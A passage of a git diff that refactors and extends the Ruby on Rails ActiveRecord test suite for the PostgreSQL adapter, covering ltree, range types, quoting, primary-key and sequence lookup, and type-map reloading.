diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
index 5d12ca75ca..718f37a380 100644
--- a/activerecord/test/cases/adapters/postgresql/ltree_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -10,6 +10,11 @@ class PostgresqlLtreeTest < ActiveRecord::TestCase
def setup
@connection = ActiveRecord::Base.connection
+
+ unless @connection.extension_enabled?('ltree')
+ @connection.enable_extension 'ltree'
+ end
+
@connection.transaction do
@connection.create_table('ltrees') do |t|
t.ltree 'path'
@@ -19,13 +24,18 @@ class PostgresqlLtreeTest < ActiveRecord::TestCase
skip "do not test on PG without ltree"
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists ltrees'
end
def test_column
column = Ltree.columns_hash['path']
assert_equal :ltree, column.type
+ assert_equal "ltree", column.sql_type
+ assert_not column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
end
def test_write
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index fb88ab7c09..b7791078db 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -1,18 +1,31 @@
# encoding: utf-8
require "cases/helper"
+require 'support/ddl_helper'
+require 'support/connection_helper'
module ActiveRecord
module ConnectionAdapters
class PostgreSQLAdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+ include ConnectionHelper
+
def setup
@connection = ActiveRecord::Base.connection
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
+ end
+
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'should_not_exist-cinco-dog-db')
+ connection = ActiveRecord::Base.postgresql_connection(configuration)
+ connection.exec_query('SELECT 1')
+ end
end
def test_valid_column
- column = @connection.columns('ex').find { |col| col.name == 'id' }
- assert @connection.valid_type?(column.type)
+ with_example_table do
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ assert @connection.valid_type?(column.type)
+ end
end
def test_invalid_column
@@ -20,7 +33,9 @@ module ActiveRecord
end
def test_primary_key
- assert_equal 'id', @connection.primary_key('ex')
+ with_example_table do
+ assert_equal 'id', @connection.primary_key('ex')
+ end
end
def test_primary_key_works_tables_containing_capital_letters
@@ -28,15 +43,15 @@ module ActiveRecord
end
def test_non_standard_primary_key
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(data character varying(255) primary key)')
- assert_equal 'data', @connection.primary_key('ex')
+ with_example_table 'data character varying(255) primary key' do
+ assert_equal 'data', @connection.primary_key('ex')
+ end
end
def test_primary_key_returns_nil_for_no_pk
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer)')
- assert_nil @connection.primary_key('ex')
+ with_example_table 'id integer' do
+ assert_nil @connection.primary_key('ex')
+ end
end
def test_primary_key_raises_error_if_table_not_found
@@ -46,20 +61,40 @@ module ActiveRecord
end
def test_insert_sql_with_proprietary_returning_clause
- id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
- assert_equal "5150", id
+ with_example_table do
+ id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
+ assert_equal "5150", id
+ end
end
def test_insert_sql_with_quoted_schema_and_table_name
- id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
- expect = @connection.query('select max(id) from ex').first.first
- assert_equal expect, id
+ with_example_table do
+ id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
end
def test_insert_sql_with_no_space_after_table_name
- id = @connection.insert_sql("insert into ex(number) values(5150)")
- expect = @connection.query('select max(id) from ex').first.first
- assert_equal expect, id
+ with_example_table do
+ id = @connection.insert_sql("insert into ex(number) values(5150)")
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
+ end
+
+ def test_multiline_insert_sql
+ with_example_table do
+ id = @connection.insert_sql(<<-SQL)
+ insert into ex(
+ number)
+ values(
+ 5152
+ )
+ SQL
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
end
def test_insert_sql_with_returning_disabled
@@ -115,53 +150,104 @@ module ActiveRecord
end
def test_pk_and_sequence_for
- pk, seq = @connection.pk_and_sequence_for('ex')
- assert_equal 'id', pk
- assert_equal @connection.default_sequence_name('ex', 'id'), seq
+ with_example_table do
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @connection.default_sequence_name('ex', 'id'), seq
+ end
end
def test_pk_and_sequence_for_with_non_standard_primary_key
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(code serial primary key)')
- pk, seq = @connection.pk_and_sequence_for('ex')
- assert_equal 'code', pk
- assert_equal @connection.default_sequence_name('ex', 'code'), seq
+ with_example_table 'code serial primary key' do
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'code', pk
+ assert_equal @connection.default_sequence_name('ex', 'code'), seq
+ end
end
def test_pk_and_sequence_for_returns_nil_if_no_seq
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer primary key)')
- assert_nil @connection.pk_and_sequence_for('ex')
+ with_example_table 'id integer primary key' do
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
end
def test_pk_and_sequence_for_returns_nil_if_no_pk
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer)')
- assert_nil @connection.pk_and_sequence_for('ex')
+ with_example_table 'id integer' do
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
end
def test_pk_and_sequence_for_returns_nil_if_table_not_found
assert_nil @connection.pk_and_sequence_for('unobtainium')
end
+ def test_pk_and_sequence_for_with_collision_pg_class_oid
+ @connection.exec_query('create table ex(id serial primary key)')
+ @connection.exec_query('create table ex2(id serial primary key)')
+
+ correct_depend_record = [
+ "'pg_class'::regclass",
+ "'ex_id_seq'::regclass",
+ '0',
+ "'pg_class'::regclass",
+ "'ex'::regclass",
+ '1',
+ "'a'"
+ ]
+
+ collision_depend_record = [
+ "'pg_attrdef'::regclass",
+ "'ex2_id_seq'::regclass",
+ '0',
+ "'pg_class'::regclass",
+ "'ex'::regclass",
+ '1',
+ "'a'"
+ ]
+
+ @connection.exec_query(
+ "DELETE FROM pg_depend WHERE objid = 'ex_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+ )
+ @connection.exec_query(
+ "INSERT INTO pg_depend VALUES(#{collision_depend_record.join(',')})"
+ )
+ @connection.exec_query(
+ "INSERT INTO pg_depend VALUES(#{correct_depend_record.join(',')})"
+ )
+
+ seq = @connection.pk_and_sequence_for('ex').last
+ assert_equal 'ex_id_seq', seq
+
+ @connection.exec_query(
+ "DELETE FROM pg_depend WHERE objid = 'ex2_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+ )
+ ensure
+ @connection.exec_query('DROP TABLE IF EXISTS ex')
+ @connection.exec_query('DROP TABLE IF EXISTS ex2')
+ end
+
def test_exec_insert_number
- insert(@connection, 'number' => 10)
+ with_example_table do
+ insert(@connection, 'number' => 10)
- result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
+ result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
- assert_equal 1, result.rows.length
- assert_equal "10", result.rows.last.last
+ assert_equal 1, result.rows.length
+ assert_equal "10", result.rows.last.last
+ end
end
def test_exec_insert_string
- str = 'いただきます!'
- insert(@connection, 'number' => 10, 'data' => str)
+ with_example_table do
+ str = 'いただきます!'
+ insert(@connection, 'number' => 10, 'data' => str)
- result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
+ result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
- value = result.rows.last.last
+ value = result.rows.last.last
- assert_equal str, value
+ assert_equal str, value
+ end
end
def test_table_alias_length
@@ -171,44 +257,50 @@ module ActiveRecord
end
def test_exec_no_binds
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
-
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
-
- assert_equal [['1', 'foo']], result.rows
+ with_example_table do
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_with_binds
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
+ with_example_table do
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_typecasts_bind_vals
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ with_example_table do
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- column = @connection.columns('ex').find { |col| col.name == 'id' }
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_substitute_at
@@ -220,15 +312,10 @@ module ActiveRecord
end
def test_partial_index
- @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
- index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
- assert_equal "(number > 100)", index.where
- end
-
- def test_distinct_zero_orders
- assert_deprecated do
- assert_equal "DISTINCT posts.id",
- @connection.distinct("posts.id", [])
+ with_example_table do
+ @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+ index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+ assert_equal "(number > 100)", index.where
end
end
@@ -237,53 +324,21 @@ module ActiveRecord
@connection.columns_for_distinct("posts.id", [])
end
- def test_distinct_one_order
- assert_deprecated do
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", ["posts.created_at desc"])
- end
- end
-
def test_columns_for_distinct_one_order
assert_equal "posts.id, posts.created_at AS alias_0",
@connection.columns_for_distinct("posts.id", ["posts.created_at desc"])
end
- def test_distinct_few_orders
- assert_deprecated do
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
- @connection.distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
- end
- end
-
def test_columns_for_distinct_few_orders
assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
@connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
end
- def test_distinct_blank_not_nil_orders
- assert_deprecated do
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", ["posts.created_at desc", "", " "])
- end
- end
-
def test_columns_for_distinct_blank_not_nil_orders
assert_equal "posts.id, posts.created_at AS alias_0",
@connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", " "])
end
- def test_distinct_with_arel_order
- order = Object.new
- def order.to_sql
- "posts.created_at desc"
- end
- assert_deprecated do
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", [order])
- end
- end
-
def test_columns_for_distinct_with_arel_order
order = Object.new
def order.to_sql
@@ -293,13 +348,6 @@ module ActiveRecord
@connection.columns_for_distinct("posts.id", [order])
end
- def test_distinct_with_nulls
- assert_deprecated do
- assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls first"])
- assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls last"])
- end
- end
-
def test_columns_for_distinct_with_nulls
assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
@@ -311,6 +359,43 @@ module ActiveRecord
end
end
+ def test_reload_type_map_for_newly_defined_types
+ @connection.execute "CREATE TYPE feeling AS ENUM ('good', 'bad')"
+ result = @connection.select_all "SELECT 'good'::feeling"
+ assert_instance_of(PostgreSQLAdapter::OID::Enum,
+ result.column_types["feeling"])
+ ensure
+ @connection.execute "DROP TYPE IF EXISTS feeling"
+ reset_connection
+ end
+
+ def test_only_reload_type_map_once_for_every_unknown_type
+ silence_warnings do
+ assert_queries 2, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyelement"
+ end
+ assert_queries 1, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyelement"
+ end
+ assert_queries 2, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyarray"
+ end
+ end
+ ensure
+ reset_connection
+ end
+
+ def test_only_warn_on_first_encounter_of_unknown_oid
+ warning = capture(:stderr) {
+ @connection.select_all "SELECT NULL::anyelement"
+ @connection.select_all "SELECT NULL::anyelement"
+ @connection.select_all "SELECT NULL::anyelement"
+ }
+ assert_match(/\Aunknown OID \d+: failed to recognize type of 'anyelement'. It will be treated as String.\n\z/, warning)
+ ensure
+ reset_connection
+ end
+
private
def insert(ctx, data)
binds = data.map { |name, value|
@@ -326,6 +411,10 @@ module ActiveRecord
ctx.exec_insert(sql, 'SQL', binds)
end
+ def with_example_table(definition = 'id serial primary key, number integer, data character varying(255)', &block)
+ super(@connection, 'ex', definition, &block)
+ end
+
def connection_without_insert_returning
ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index b3429648ee..51846e22d9 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -10,48 +10,53 @@ module ActiveRecord
end
def test_type_cast_true
- c = Column.new(nil, 1, 'boolean')
+ c = PostgreSQLColumn.new(nil, 1, OID::Boolean.new, 'boolean')
assert_equal 't', @conn.type_cast(true, nil)
assert_equal 't', @conn.type_cast(true, c)
end
def test_type_cast_false
- c = Column.new(nil, 1, 'boolean')
+ c = PostgreSQLColumn.new(nil, 1, OID::Boolean.new, 'boolean')
assert_equal 'f', @conn.type_cast(false, nil)
assert_equal 'f', @conn.type_cast(false, c)
end
def test_type_cast_cidr
ip = IPAddr.new('255.0.0.0/8')
- c = Column.new(nil, ip, 'cidr')
+ c = PostgreSQLColumn.new(nil, ip, OID::Cidr.new, 'cidr')
assert_equal ip, @conn.type_cast(ip, c)
end
def test_type_cast_inet
ip = IPAddr.new('255.1.0.0/8')
- c = Column.new(nil, ip, 'inet')
+ c = PostgreSQLColumn.new(nil, ip, OID::Cidr.new, 'inet')
assert_equal ip, @conn.type_cast(ip, c)
end
def test_quote_float_nan
nan = 0.0/0
- c = Column.new(nil, 1, 'float')
+ c = PostgreSQLColumn.new(nil, 1, OID::Float.new, 'float')
assert_equal "'NaN'", @conn.quote(nan, c)
end
def test_quote_float_infinity
infinity = 1.0/0
- c = Column.new(nil, 1, 'float')
+ c = PostgreSQLColumn.new(nil, 1, OID::Float.new, 'float')
assert_equal "'Infinity'", @conn.quote(infinity, c)
end
def test_quote_cast_numeric
fixnum = 666
- c = Column.new(nil, nil, 'string')
+ c = PostgreSQLColumn.new(nil, nil, OID::String.new, 'varchar')
assert_equal "'666'", @conn.quote(fixnum, c)
- c = Column.new(nil, nil, 'text')
+ c = PostgreSQLColumn.new(nil, nil, OID::Text.new, 'text')
assert_equal "'666'", @conn.quote(fixnum, c)
end
+
+ def test_quote_time_usec
+ assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0))
+ assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0).to_datetime)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000000..060b17d071
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,308 @@
+require "cases/helper"
+require 'support/connection_helper'
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+if ActiveRecord::Base.connection.supports_ranges?
+ class PostgresqlRange < ActiveRecord::Base
+ self.table_name = "postgresql_ranges"
+ end
+
+ class PostgresqlRangeTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+ include ConnectionHelper
+
+ def setup
+ @connection = PostgresqlRange.connection
+ begin
+ @connection.transaction do
+ @connection.execute <<_SQL
+ CREATE TYPE floatrange AS RANGE (
+ subtype = float8,
+ subtype_diff = float8mi
+ );
+_SQL
+
+ @connection.create_table('postgresql_ranges') do |t|
+ t.daterange :date_range
+ t.numrange :num_range
+ t.tsrange :ts_range
+ t.tstzrange :tstz_range
+ t.int4range :int4_range
+ t.int8range :int8_range
+ end
+
+ @connection.add_column 'postgresql_ranges', 'float_range', 'floatrange'
+ end
+ PostgresqlRange.reset_column_information
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without range"
+ end
+
+ insert_range(id: 101,
+ date_range: "[''2012-01-02'', ''2012-01-04'']",
+ num_range: "[0.1, 0.2]",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+ int4_range: "[1, 10]",
+ int8_range: "[10, 100]",
+ float_range: "[0.5, 0.7]")
+
+ insert_range(id: 102,
+ date_range: "[''2012-01-02'', ''2012-01-04'')",
+ num_range: "[0.1, 0.2)",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+ int4_range: "[1, 10)",
+ int8_range: "[10, 100)",
+ float_range: "[0.5, 0.7)")
+
+ insert_range(id: 103,
+ date_range: "[''2012-01-02'',]",
+ num_range: "[0.1,]",
+ ts_range: "[''2010-01-01 14:30'',]",
+ tstz_range: "[''2010-01-01 14:30:00+05'',]",
+ int4_range: "[1,]",
+ int8_range: "[10,]",
+ float_range: "[0.5,]")
+
+ insert_range(id: 104,
+ date_range: "[,]",
+ num_range: "[,]",
+ ts_range: "[,]",
+ tstz_range: "[,]",
+ int4_range: "[,]",
+ int8_range: "[,]",
+ float_range: "[,]")
+
+ insert_range(id: 105,
+ date_range: "[''2012-01-02'', ''2012-01-02'')",
+ num_range: "[0.1, 0.1)",
+ ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+ int4_range: "[1, 1)",
+ int8_range: "[10, 10)",
+ float_range: "[0.5, 0.5)")
+
+ @new_range = PostgresqlRange.new
+ @first_range = PostgresqlRange.find(101)
+ @second_range = PostgresqlRange.find(102)
+ @third_range = PostgresqlRange.find(103)
+ @fourth_range = PostgresqlRange.find(104)
+ @empty_range = PostgresqlRange.find(105)
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_ranges'
+ @connection.execute 'DROP TYPE IF EXISTS floatrange'
+ reset_connection
+ end
+
+ def test_data_type_of_range_types
+ assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+ assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+ assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+ assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+ assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+ assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+ end
+
+ def test_int4range_values
+ assert_equal 1...11, @first_range.int4_range
+ assert_equal 1...10, @second_range.int4_range
+ assert_equal 1...Float::INFINITY, @third_range.int4_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+ assert_nil @empty_range.int4_range
+ end
+
+ def test_int8range_values
+ assert_equal 10...101, @first_range.int8_range
+ assert_equal 10...100, @second_range.int8_range
+ assert_equal 10...Float::INFINITY, @third_range.int8_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+ assert_nil @empty_range.int8_range
+ end
+
+ def test_daterange_values
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
+ assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+ assert_nil @empty_range.date_range
+ end
+
+ def test_numrange_values
+ assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+ assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+ assert_nil @empty_range.num_range
+ end
+
+ def test_tsrange_values
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+ assert_nil @empty_range.ts_range
+ end
+
+ def test_tstzrange_values
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+ assert_nil @empty_range.tstz_range
+ end
+
+ def test_custom_range_values
+ assert_equal 0.5..0.7, @first_range.float_range
+ assert_equal 0.5...0.7, @second_range.float_range
+ assert_equal 0.5...Float::INFINITY, @third_range.float_range
+ assert_equal (-Float::INFINITY...Float::INFINITY), @fourth_range.float_range
+ assert_nil @empty_range.float_range
+ end
+
+ def test_create_tstzrange
+ tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+ round_trip(@new_range, :tstz_range, tstzrange)
+ assert_equal @new_range.tstz_range, tstzrange
+ assert_equal @new_range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+ end
+
+ def test_update_tstzrange
+ assert_equal_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET'))
+ assert_nil_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000'))
+ end
+
+ def test_create_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@new_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ end
+
+ def test_update_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ assert_nil_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+ end
+
+ def test_create_numrange
+ assert_equal_round_trip(@new_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ end
+
+ def test_update_numrange
+ assert_equal_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ assert_nil_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('0.5'))
+ end
+
+ def test_create_daterange
+ assert_equal_round_trip(@new_range, :date_range,
+ Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+ end
+
+ def test_update_daterange
+ assert_equal_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+ assert_nil_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+ end
+
+ def test_create_int4range
+ assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+ end
+
+ def test_update_int4range
+ assert_equal_round_trip(@first_range, :int4_range, 6...10)
+ assert_nil_round_trip(@first_range, :int4_range, 3...3)
+ end
+
+ def test_create_int8range
+ assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+ end
+
+ def test_update_int8range
+ assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+ assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+ end
+
+ def test_exclude_beginning_for_subtypes_with_succ_method_is_deprecated
+ tz = ::ActiveRecord::Base.default_timezone
+
+ silence_warnings {
+ assert_deprecated {
+ range = PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']")
+ assert_equal Date.new(2012, 1, 3)..Date.new(2012, 1, 4), range.date_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']")
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 1)..Time.send(tz, 2011, 1, 1, 14, 30, 0), range.ts_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']")
+ assert_equal Time.parse('2010-01-01 09:30:01 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), range.tstz_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(int4_range: "(1, 10]")
+ assert_equal 2..10, range.int4_range
+ }
+ assert_deprecated {
+ range = PostgresqlRange.create!(int8_range: "(10, 100]")
+ assert_equal 11..100, range.int8_range
+ }
+ }
+ end
+
+ def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
+ assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
+ assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
+ end
+
+ private
+ def assert_equal_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_equal value, range.public_send(attribute)
+ end
+
+ def assert_nil_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_nil range.public_send(attribute)
+ end
+
+ def round_trip(range, attribute, value)
+ range.public_send "#{attribute}=", value
+ assert range.save
+ assert range.reload
+ end
+
+ def insert_range(values)
+ @connection.execute <<-SQL
+ INSERT INTO postgresql_ranges (
+ id,
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range,
+ float_range
+ ) VALUES (
+ #{values[:id]},
+ '#{values[:date_range]}',
+ '#{values[:num_range]}',
+ '#{values[:ts_range]}',
+ '#{values[:tstz_range]}',
+ '#{values[:int4_range]}',
+ '#{values[:int8_range]}',
+ '#{values[:float_range]}'
+ )
+ SQL
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
index d5e1838543..99c26c4bf7 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -27,7 +27,7 @@ class SchemaAuthorizationTest < ActiveRecord::TestCase
end
end
- def teardown
+ teardown do
set_session_auth
@connection.execute "RESET search_path"
USERS.each do |u|
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index e8dd188ec8..11ec7599a3 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -71,7 +71,7 @@ class SchemaTest < ActiveRecord::TestCase
